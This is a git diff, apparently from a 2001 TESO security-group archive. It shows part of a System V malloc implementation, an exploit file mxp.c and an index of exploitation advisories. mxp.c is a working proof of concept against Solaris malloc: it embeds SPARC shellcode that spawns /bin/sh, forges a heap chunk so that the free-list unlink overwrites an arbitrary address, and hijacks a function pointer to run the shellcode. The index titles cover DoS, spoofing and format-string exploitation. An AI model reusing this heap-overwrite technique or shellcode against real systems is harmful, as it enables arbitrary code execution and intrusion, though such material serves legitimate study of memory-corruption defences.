| 623 | |||
| 624 | #define LEFT1(x, y) \ | ||
| 625 | if ((RIGHT(x) = LEFT(y)) != NULL) PARENT(RIGHT(x)) = x;\ | ||
| 626 | if ((PARENT(y) = PARENT(x)) != NULL)\ | ||
| 627 | if (LEFT(PARENT(x)) == x) LEFT(PARENT(y)) = y;\ | ||
| 628 | else RIGHT(PARENT(y)) = y;\ | ||
| 629 | LEFT(y) = x; PARENT(x) = y | ||
| 630 | |||
| 631 | #define RIGHT1(x, y) \ | ||
| 632 | if ((LEFT(x) = RIGHT(y)) != NULL) PARENT(LEFT(x)) = x;\ | ||
| 633 | if ((PARENT(y) = PARENT(x)) != NULL)\ | ||
| 634 | if (LEFT(PARENT(x)) == x) LEFT(PARENT(y)) = y;\ | ||
| 635 | else RIGHT(PARENT(y)) = y;\ | ||
| 636 | RIGHT(y) = x; PARENT(x) = y | ||
| 637 | |||
| 638 | #define BULEFT2(x, y, z) \ | ||
| 639 | if ((RIGHT(x) = LEFT(y)) != NULL) PARENT(RIGHT(x)) = x;\ | ||
| 640 | if ((RIGHT(y) = LEFT(z)) != NULL) PARENT(RIGHT(y)) = y;\ | ||
| 641 | if ((PARENT(z) = PARENT(x)) != NULL)\ | ||
| 642 | if (LEFT(PARENT(x)) == x) LEFT(PARENT(z)) = z;\ | ||
| 643 | else RIGHT(PARENT(z)) = z;\ | ||
| 644 | LEFT(z) = y; PARENT(y) = z; LEFT(y) = x; PARENT(x) = y | ||
| 645 | |||
| 646 | #define BURIGHT2(x, y, z) \ | ||
| 647 | if ((LEFT(x) = RIGHT(y)) != NULL) PARENT(LEFT(x)) = x;\ | ||
| 648 | if ((LEFT(y) = RIGHT(z)) != NULL) PARENT(LEFT(y)) = y;\ | ||
| 649 | if ((PARENT(z) = PARENT(x)) != NULL)\ | ||
| 650 | if (LEFT(PARENT(x)) == x) LEFT(PARENT(z)) = z;\ | ||
| 651 | else RIGHT(PARENT(z)) = z;\ | ||
| 652 | RIGHT(z) = y; PARENT(y) = z; RIGHT(y) = x; PARENT(x) = y | ||
| 653 | |||
| 654 | #define TDLEFT2(x, y, z) \ | ||
| 655 | if ((RIGHT(y) = LEFT(z)) != NULL) PARENT(RIGHT(y)) = y;\ | ||
| 656 | if ((PARENT(z) = PARENT(x)) != NULL)\ | ||
| 657 | if (LEFT(PARENT(x)) == x) LEFT(PARENT(z)) = z;\ | ||
| 658 | else RIGHT(PARENT(z)) = z;\ | ||
| 659 | PARENT(x) = z; LEFT(z) = x; | ||
| 660 | |||
| 661 | #define TDRIGHT2(x, y, z) \ | ||
| 662 | if ((LEFT(y) = RIGHT(z)) != NULL) PARENT(LEFT(y)) = y;\ | ||
| 663 | if ((PARENT(z) = PARENT(x)) != NULL)\ | ||
| 664 | if (LEFT(PARENT(x)) == x) LEFT(PARENT(z)) = z;\ | ||
| 665 | else RIGHT(PARENT(z)) = z;\ | ||
| 666 | PARENT(x) = z; RIGHT(z) = x; | ||
| 667 | |||
| 668 | /* | ||
| 669 | * Delete a tree element | ||
| 670 | */ | ||
| 671 | static void | ||
| 672 | t_delete(TREE *op) | ||
| 673 | { | ||
| 674 | TREE *tp, *sp, *gp; | ||
| 675 | |||
| 676 | /* if this is a non-tree node */ | ||
| 677 | if (ISNOTREE(op)) { | ||
| 678 | tp = LINKBAK(op); | ||
| 679 | if ((sp = LINKFOR(op)) != NULL) | ||
| 680 | LINKBAK(sp) = tp; | ||
| 681 | LINKFOR(tp) = sp; | ||
| 682 | return; | ||
| 683 | } | ||
| 684 | |||
| 685 | /* make op the root of the tree */ | ||
| 686 | if (PARENT(op)) | ||
| 687 | t_splay(op); | ||
| 688 | |||
| 689 | /* if this is the start of a list */ | ||
| 690 | if ((tp = LINKFOR(op)) != NULL) { | ||
| 691 | PARENT(tp) = NULL; | ||
| 692 | if ((sp = LEFT(op)) != NULL) | ||
| 693 | PARENT(sp) = tp; | ||
| 694 | LEFT(tp) = sp; | ||
| 695 | |||
| 696 | if ((sp = RIGHT(op)) != NULL) | ||
| 697 | PARENT(sp) = tp; | ||
| 698 | RIGHT(tp) = sp; | ||
| 699 | |||
| 700 | Root = tp; | ||
| 701 | return; | ||
| 702 | } | ||
| 703 | |||
| 704 | /* if op has a non-null left subtree */ | ||
| 705 | if ((tp = LEFT(op)) != NULL) { | ||
| 706 | PARENT(tp) = NULL; | ||
| 707 | |||
| 708 | if (RIGHT(op)) { | ||
| 709 | /* make the right-end of the left subtree its root */ | ||
| 710 | while ((sp = RIGHT(tp)) != NULL) { | ||
| 711 | if ((gp = RIGHT(sp)) != NULL) { | ||
| 712 | TDLEFT2(tp, sp, gp); | ||
| 713 | tp = gp; | ||
| 714 | } else { | ||
| 715 | LEFT1(tp, sp); | ||
| 716 | tp = sp; | ||
| 717 | } | ||
| 718 | } | ||
| 719 | |||
| 720 | /* hook the right subtree of op to the above elt */ | ||
| 721 | RIGHT(tp) = RIGHT(op); | ||
| 722 | PARENT(RIGHT(tp)) = tp; | ||
| 723 | } | ||
| 724 | } else if ((tp = RIGHT(op)) != NULL) /* no left subtree */ | ||
| 725 | PARENT(tp) = NULL; | ||
| 726 | |||
| 727 | Root = tp; | ||
| 728 | } | ||
| 729 | |||
| 730 | /* | ||
| 731 | * Bottom up splaying (simple version). | ||
| 732 | * The basic idea is to roughly cut in half the | ||
| 733 | * path from Root to tp and make tp the new root. | ||
| 734 | */ | ||
| 735 | static void | ||
| 736 | t_splay(TREE *tp) | ||
| 737 | { | ||
| 738 | TREE *pp, *gp; | ||
| 739 | |||
| 740 | /* iterate until tp is the root */ | ||
| 741 | while ((pp = PARENT(tp)) != NULL) { | ||
| 742 | /* grandparent of tp */ | ||
| 743 | gp = PARENT(pp); | ||
| 744 | |||
| 745 | /* x is a left child */ | ||
| 746 | if (LEFT(pp) == tp) { | ||
| 747 | if (gp && LEFT(gp) == pp) { | ||
| 748 | BURIGHT2(gp, pp, tp); | ||
| 749 | } else { | ||
| 750 | RIGHT1(pp, tp); | ||
| 751 | } | ||
| 752 | } else { | ||
| 753 | ASSERT(RIGHT(pp) == tp); | ||
| 754 | if (gp && RIGHT(gp) == pp) { | ||
| 755 | BULEFT2(gp, pp, tp); | ||
| 756 | } else { | ||
| 757 | LEFT1(pp, tp); | ||
| 758 | } | ||
| 759 | } | ||
| 760 | } | ||
| 761 | } | ||
| 762 | |||
| 763 | |||
| 764 | /* | ||
| 765 | * free(). | ||
| 766 | * Performs a delayed free of the block pointed to | ||
| 767 | * by old. The pointer to old is saved on a list, flist, | ||
| 768 | * until the next malloc or realloc. At that time, all the | ||
| 769 | * blocks pointed to in flist are actually freed via | ||
| 770 | * realfree(). This allows the contents of free blocks to | ||
| 771 | * remain undisturbed until the next malloc or realloc. | ||
| 772 | */ | ||
| 773 | void | ||
| 774 | free(void *old) | ||
| 775 | { | ||
| 776 | (void) _mutex_lock(&__malloc_lock); | ||
| 777 | _free_unlocked(old); | ||
| 778 | (void) _mutex_unlock(&__malloc_lock); | ||
| 779 | } | ||
| 780 | |||
| 781 | |||
| 782 | void | ||
| 783 | _free_unlocked(void *old) | ||
| 784 | { | ||
| 785 | int i; | ||
| 786 | |||
| 787 | if (old == NULL) | ||
| 788 | return; | ||
| 789 | |||
| 790 | /* | ||
| 791 | * Make sure the same data block is not freed twice. | ||
| 792 | * 3 cases are checked. It returns immediately if either | ||
| 793 | * one of the conditions is true. | ||
| 794 | * 1. Last freed. | ||
| 795 | * 2. Not in use or freed already. | ||
| 796 | * 3. In the free list. | ||
| 797 | */ | ||
| 798 | if (old == Lfree) | ||
| 799 | return; | ||
| 800 | if (!ISBIT0(SIZE(BLOCK(old)))) | ||
| 801 | return; | ||
| 802 | for (i = 0; i < freeidx; i++) | ||
| 803 | if (old == flist[i]) | ||
| 804 | return; | ||
| 805 | |||
| 806 | if (flist[freeidx] != NULL) | ||
| 807 | realfree(flist[freeidx]); | ||
| 808 | flist[freeidx] = Lfree = old; | ||
| 809 | freeidx = (freeidx + 1) & FREEMASK; /* one forward */ | ||
| 810 | } | ||
| 811 | |||
| 812 | /* | ||
| 813 | * cleanfree() frees all the blocks pointed to be flist. | ||
| 814 | * | ||
| 815 | * realloc() should work if it is called with a pointer | ||
| 816 | * to a block that was freed since the last call to malloc() or | ||
| 817 | * realloc(). If cleanfree() is called from realloc(), ptr | ||
| 818 | * is set to the old block and that block should not be | ||
| 819 | * freed since it is actually being reallocated. | ||
| 820 | */ | ||
| 821 | static void | ||
| 822 | cleanfree(void *ptr) | ||
| 823 | { | ||
| 824 | char **flp; | ||
| 825 | |||
| 826 | flp = (char **)&(flist[freeidx]); | ||
| 827 | for (;;) { | ||
| 828 | if (flp == (char **)&(flist[0])) | ||
| 829 | flp = (char **)&(flist[FREESIZE]); | ||
| 830 | if (*--flp == NULL) | ||
| 831 | break; | ||
| 832 | if (*flp != ptr) | ||
| 833 | realfree(*flp); | ||
| 834 | *flp = NULL; | ||
| 835 | } | ||
| 836 | freeidx = 0; | ||
| 837 | Lfree = NULL; | ||
| 838 | } | ||
diff --git a/informationals/teso-i0037/mxp.c b/informationals/teso-i0037/mxp.c new file mode 100644 index 0000000..76b5f3a --- /dev/null +++ b/informationals/teso-i0037/mxp.c | |||
| @@ -0,0 +1,195 @@ | |||
| 1 | /* System V malloc implementation exploitation in buffer overflows | ||
| 2 | * | ||
| 3 | * 2001/05/06 | ||
| 4 | * -sc/teso | ||
| 5 | * | ||
| 6 | * tested on sol 2.7/2.8 | ||
| 7 | * shellcode seems to segfault sometime, but anyway, the malloc overwrite | ||
| 8 | * works yay! | ||
| 9 | */ | ||
| 10 | |||
| 11 | #include <stdio.h> | ||
| 12 | #include <stdlib.h> | ||
| 13 | #include "mallint.h" | ||
| 14 | |||
| 15 | |||
| 16 | typedef void (* func_ptr)(void); | ||
| 17 | |||
| 18 | void | ||
| 19 | hexdump (unsigned char *data, unsigned int amount); | ||
| 20 | |||
| 21 | |||
| 22 | int | ||
| 23 | main (int argc, char *argv[]) | ||
| 24 | { | ||
| 25 | TREE * fake; | ||
| 26 | TREE * memchunk; | ||
| 27 | unsigned char * mem; | ||
| 28 | func_ptr func_hook = NULL; | ||
| 29 | |||
| 30 | void * retloc; | ||
| 31 | void * retaddr; | ||
| 32 | unsigned char shellcode[] = /* dopesquad.net shellcode + 8 nop bytes */ | ||
| 33 | "\x10\x80\x00\x03" /* b foolabel */ | ||
| 34 | "\x90\x1b\x80\x0e" /* xor %sp, %sp, %o0 */ | ||
| 35 | /* OVERWRITE */ "\x82\x10\x20\x17" /* mov 23, %g1 */ | ||
| 36 | |||
| 37 | /* foolabel: */ "\x82\x10\x20\x17" /* mov 23, %g1 */ | ||
| 38 | "\x91\xd0\x20\x08" /* ta 0x8 */ | ||
| 39 | "\x21\x0b\xd8\x9a" /* sethi %hi(0x2f626800), %l0 */ | ||
| 40 | "\xa0\x14\x21\x6e" /* or %l0, 0x16e, %l0 ! 0x2f62696e */ | ||
| 41 | "\x23\x0b\xdc\xda" /* sethi %hi(0x2f736800), %l1 */ | ||
| 42 | "\x90\x23\xa0\x10" /* sub %sp, 16, %o0 */ | ||
| 43 | "\x92\x23\xa0\x08" /* sub %sp, 8, %o1 */ | ||
| 44 | "\x94\x1b\x80\x0e" /* xor %sp, %sp, %o2 */ | ||
| 45 | "\xe0\x3b\xbf\xf0" /* std %l0, [%sp - 16] */ | ||
| 46 | "\xd0\x23\xbf\xf8" /* st %o0, [%sp - 8] */ | ||
| 47 | "\xc0\x23\xbf\xfc" /* st %g0, [%sp - 4] */ | ||
| 48 | "\x82\x10\x20\x3b" /* mov 59, %g1 */ | ||
| 49 | "\x91\xd0\x20\x08" /* ta 0x8 */ | ||
| 50 | "\x90\x1b\x80\x0e" /* xor %sp, %sp, %o0 */ | ||
| 51 | "\x82\x10\x20\x01" /* mov 1, %g1 */ | ||
| 52 | "\x91\xd0\x20\x08"; /* ta 0x8 */ | ||
| 53 | |||
| 54 | |||
| 55 | printf ("shellcode: %02x %02x %02x %02x %02x %02x %02x %02x\n", | ||
| 56 | shellcode[0], shellcode[1], shellcode[2], shellcode[3], | ||
| 57 | shellcode[4], shellcode[5], shellcode[6], shellcode[7]); | ||
| 58 | printf (" %02x %02x %02x %02x %02x %02x %02x %02x\n", | ||
| 59 | shellcode[8], shellcode[9], shellcode[10], shellcode[11], | ||
| 60 | shellcode[12], shellcode[13], shellcode[14], shellcode[15]); | ||
| 61 | |||
| 62 | retloc = &func_hook; | ||
| 63 | retaddr = shellcode; | ||
| 64 | |||
| 65 | |||
| 66 | /* get memory chunk which will be overflowed | ||
| 67 | */ | ||
| 68 | mem = malloc (64); | ||
| 69 | memchunk = BLOCK(mem); | ||
| 70 | printf (" mem = 0x%08lx\n", (unsigned long int) mem); | ||
| 71 | printf ("memchunk = 0x%08lx\n", (unsigned long int) memchunk); | ||
| 72 | |||
| 73 | /* the overflowed chunk must not be the last, the special 'Bottom' | ||
| 74 | * chunk. in that case it would not be merged with the fake chunk | ||
| 75 | * behind, because realfree would think it is the last chunk anyway. | ||
| 76 | * so we ensure there is a malloc chunk behind the overflowed one | ||
| 77 | */ | ||
| 78 | (void) malloc(2903); | ||
| 79 | |||
| 80 | /* our basic idea is to create a fake non-tree node after the real | ||
| 81 | * chunk, which will later be coalescated with the real chunk. while | ||
| 82 | * this is done, the fake chunk is removed from a chained tree, which | ||
| 83 | * we set up to overwrite arbitrary addresses | ||
| 84 | * | ||
| 85 | * take care of NUL'ing out the lower two bits if using the macros | ||
| 86 | */ | ||
| 87 | |||
| 88 | #define RNEXT(b) ((TREE *)(((char *)(b)) + (SIZE(b) & ~BITS01) + WORDSIZE)) | ||
| 89 | fake = RNEXT(BLOCK(mem)); | ||
| 90 | printf (" fake = 0x%08lx\n", (unsigned long int) fake); | ||
| 91 | |||
| 92 | /* conditions to be met: | ||
| 93 | * 1. BIT0(fake) = 0 (it is unused) | ||
| 94 | * 2. ->t_l == -1 (NOTREE) | ||
| 95 | */ | ||
| 96 | memset (fake, 'A', sizeof (TREE)); | ||
| 97 | SIZE(fake) = 0xfffffff0; | ||
| 98 | CLRBIT0(SIZE(fake)); | ||
| 99 | SETNOTREE(fake); | ||
| 100 | |||
| 101 | /* t1 = fake->t_p | ||
| 102 | * t2 = fake->t_n | ||
| 103 | * t2->t_p = t1 | ||
| 104 | * t1->t_n = t2 | ||
| 105 | * (in t_delete) | ||
| 106 | * | ||
| 107 | * effectivly: | ||
| 108 | * fake->t_n->t_p = fake->t_p | ||
| 109 | * fake->t_p->t_n = fake->t_n | ||
| 110 | * raw: | ||
| 111 | * [t_n + (1 * sizeof (WORD))] = t_p | ||
| 112 | * [t_p + (4 * sizeof (WORD))] = t_n | ||
| 113 | * | ||
| 114 | * so: t_p = retloc - 4 * sizeof (WORD) | ||
| 115 | * t_n = retaddr | ||
| 116 | * | ||
| 117 | * and retaddr[8-11] will be overwritten with t_p | ||
| 118 | */ | ||
| 119 | PARENT(fake) = retloc - 4 * sizeof (WORD); | ||
| 120 | LINKFOR(fake) = retaddr; | ||
| 121 | |||
| 122 | /* we call free, but our chunk is just added to a "to-be-freed" | ||
| 123 | * list. the real free process is done by the realfree function, | ||
| 124 | * which is called on two conditions: | ||
| 125 | * 1. a malloc() is called | ||
| 126 | * 2. more than FREESIZE free() calls (the list would overflow) | ||
| 127 | */ | ||
| 128 | printf ("overflowed with:\n"); | ||
| 129 | hexdump ((unsigned char *) fake, sizeof (TREE)); | ||
| 130 | |||
| 131 | printf ("freeing chunk1 (mem) = 0x%08lx\n", | ||
| 132 | (unsigned long int) mem); | ||
| 133 | free (mem); | ||
| 134 | |||
| 135 | printf ("reallocating a larger chunk (causes realfree)\n"); | ||
| 136 | mem = malloc (256); | ||
| 137 | |||
| 138 | printf ("survived, hopefully succeeded\n"); | ||
| 139 | |||
| 140 | printf ("shellcode: %02x %02x %02x %02x %02x %02x %02x %02x\n", | ||
| 141 | shellcode[0], shellcode[1], shellcode[2], shellcode[3], | ||
| 142 | shellcode[4], shellcode[5], shellcode[6], shellcode[7]); | ||
| 143 | printf (" %02x %02x %02x %02x %02x %02x %02x %02x\n", | ||
| 144 | shellcode[8], shellcode[9], shellcode[10], shellcode[11], | ||
| 145 | shellcode[12], shellcode[13], shellcode[14], shellcode[15]); | ||
| 146 | |||
| 147 | printf ("func_hook = 0x%08lx\n", (unsigned long int) func_hook); | ||
| 148 | if (func_hook != NULL) | ||
| 149 | func_hook (); | ||
| 150 | |||
| 151 | return (0); | ||
| 152 | } | ||
| 153 | |||
| 154 | |||
| 155 | void | ||
| 156 | hexdump (unsigned char *data, unsigned int amount) | ||
| 157 | { | ||
| 158 | unsigned int dp, p; /* data pointer */ | ||
| 159 | const char trans[] = | ||
| 160 | "................................ !\"#$%&'()*+,-./0123456789" | ||
| 161 | ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" | ||
| 162 | "nopqrstuvwxyz{|}~...................................." | ||
| 163 | "....................................................." | ||
| 164 | "........................................"; | ||
| 165 | |||
| 166 | for (dp = 1; dp <= amount; dp++) { | ||
| 167 | fprintf (stdout, "%02x ", data[dp-1]); | ||
| 168 | if ((dp % 8) == 0) | ||
| 169 | fprintf (stdout, " "); | ||
| 170 | if ((dp % 16) == 0) { | ||
| 171 | fprintf (stdout, "| "); | ||
| 172 | p = dp; | ||
| 173 | for (dp -= 16; dp < p; dp++) | ||
| 174 | fprintf (stdout, "%c", trans[data[dp]]); | ||
| 175 | fflush (stdout); | ||
| 176 | fprintf (stdout, "\n"); | ||
| 177 | } | ||
| 178 | fflush (stdout); | ||
| 179 | } | ||
| 180 | if ((amount % 16) != 0) { | ||
| 181 | p = dp = 16 - (amount % 16); | ||
| 182 | for (dp = p; dp > 0; dp--) { | ||
| 183 | fprintf (stdout, " "); | ||
| 184 | if (((dp % 8) == 0) && (p != 8)) | ||
| 185 | fprintf (stdout, " "); | ||
| 186 | fflush (stdout); | ||
| 187 | } | ||
| 188 | fprintf (stdout, " | "); | ||
| 189 | for (dp = (amount - (16 - p)); dp < amount; dp++) | ||
| 190 | fprintf (stdout, "%c", trans[data[dp]]); | ||
| 191 | fflush (stdout); | ||
| 192 | } | ||
| 193 | fprintf (stdout, "\n"); | ||
| 194 | } | ||
| 195 | |||
diff --git a/informationals/teso-informationals.txt b/informationals/teso-informationals.txt new file mode 100644 index 0000000..696a017 --- /dev/null +++ b/informationals/teso-informationals.txt | |||
| @@ -0,0 +1,48 @@ | |||
| 1 | |||
| 2 | TESO Informationals | ||
| 3 | Index file | ||
| 4 | |||
| 5 | Last update 2001/05/06 | ||
| 6 | |||
| 7 | =============================================================================== | ||
| 8 | 0001 2000/01/20 Difference in Linux 2.x ARP Request handling | ||
| 9 | 0002 2000/01/21 TCP stealth scan "Scan 64" | ||
| 10 | 0003 2000/01/22 Remotely exploitable buffer overflow condition in webfind.exe | ||
| 11 | part of the WebsitePro Package (cgi-bin) | ||
| 12 | 0004 2000/01/22 Conceptual bug in webvoting systems with proxy protection | ||
| 13 | 0005 2000/01/22 Ascend ISDN Router DoS vulnerability (old UDP echo problem) | ||
| 14 | 0006 2000/01/23 Nameserver traffic amplify (x 10-30) and NS route discovery | ||
| 15 | 0007 2000/01/23 Conceptual bug in PHP and also in CGI modules | ||
| 16 | 0008 2000/01/24 Check for IP spoofing abilities for a local IP address | ||
| 17 | 0009 2000/01/26 HTTP proxy forwarding | ||
| 18 | 0010 2000/01/30 Trick for exploiting BIND nameservers | ||
| 19 | 0011 2000/02/01 Linux keyboard handler tricks | ||
| 20 | 0012 2000/02/08 Method to stretch DNS packet length | ||
| 21 | 0013 2000/02/17 Linux blind TCP spoofing methods overview | ||
| 22 | 0014 2000/02/18 Linux remote DoS overview | ||
| 23 | 0015 2000/02/19 Possible security weakness in implementation of PHP3 scripts | ||
| 24 | 0016 2000/02/23 Trick to hide UDP ports, trick to discover this | ||
| 25 | 0017 2000/02/25 Information on how to exploit Lancity cablemodems | ||
| 26 | 0018 2000/03/11 Exploiting FTP URL parsing within web browsers | ||
| 27 | 0019 2000/03/21 Majordomo include inconveniences | ||
| 28 | 0020 2000/03/29 Writing MIPS/Irix shellcode | ||
| 29 | 0021 2000/04/15 pidentd VERSION Linux distribution fingerprinting | ||
| 30 | 0022 2000/03/19 TESO AUDIT summary: netkit-combo-0.16 | ||
| 31 | 0023 2000/04/16 Information on BinTec Router DoS | ||
| 32 | 0024 2000/05/06 chroot break possibilities overview | ||
| 33 | 0025 2000/05/20 some spicy tricks for buffer overflow exploitation | ||
| 34 | 0026 2000/05/30 file existance check through suid binaries | ||
| 35 | 0027 2000/06/29 format string supply vulnerabilities and exploitation | ||
| 36 | 0028 2000/09/17 new format string problems (ntalkd, radiusd, innd, samba) | ||
| 37 | 0029 2000/10/05 format string: poping the stack faster than with %f | ||
| 38 | 0030 2000/10/14 exploitable format string problem in cfingerd <= 1.4.2 | ||
| 39 | 0031 2000/12/20 exploitable one-byte overflow in openftpd 1.0 beta28 | ||
| 40 | 0032 2001/02/03 explanations of malloc() overwrite technique | ||
| 41 | 0033 2001/02/25 (not-so) advanced way to find KERNEL32.DLL base address | ||
| 42 | 0034 2001/02/25 advanced way to more reliably exploit NT format bugs remotely | ||
| 43 | 0035 2001/03/13 safely getting control in fmt bugs if KERNEL32 is known | ||
| 44 | 0036 2001/04/16 bugs in BIND 8.2.3-REL, ProFTPd, ... | ||
| 45 | 0037 2001/05/06 System V malloc implementation details for exploitation | ||
| 46 | =============================================================================== | ||
| 47 | |||
| 48 | |||
